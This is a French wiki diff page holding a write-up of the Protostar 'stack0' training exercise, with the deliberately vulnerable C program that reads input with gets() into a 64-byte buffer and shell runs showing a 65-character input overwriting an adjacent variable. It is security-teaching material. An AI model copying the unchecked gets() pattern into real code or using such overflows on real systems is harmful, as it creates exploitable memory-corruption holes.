Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
— |
exploit_exercises_protostar:stack0 [2017/04/09 15:33] (Version actuelle) |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
+ | ====== Stack 0 ====== | ||
+ | |||
+ | <code C> | ||
+ | #include <stdlib.h> | ||
+ | #include <unistd.h> | ||
+ | #include <stdio.h> | ||
+ | |||
+ | int main(int argc, char **argv) | ||
+ | { | ||
+ | volatile int modified; | ||
+ | char buffer[64]; | ||
+ | |||
+ | modified = 0; | ||
+ | gets(buffer); | ||
+ | |||
+ | if(modified != 0) { | ||
+ | printf("you have changed the 'modified' variable\n"); | ||
+ | } else { | ||
+ | printf("Try again?\n"); | ||
+ | } | ||
+ | } | ||
+ | </code> | ||
+ | |||
+ | Ici le but est simple, il est simplement d'écrire par dessus la variable ''modified''. Pour cela, rien de plus simple, si on met plus de 64 caractères dans ''buffer'', les caractères en trop vont déborder sur la variable ''modified''. | ||
+ | |||
+ | <code> | ||
+ | user@protostar:/opt/protostar/bin$ python -c 'print "A"*64' | ./stack0 | ||
+ | Try again? | ||
+ | user@protostar:/opt/protostar/bin$ python -c 'print "A"*65' | ./stack0 | ||
+ | you have changed the 'modified' variable | ||
+ | </code> |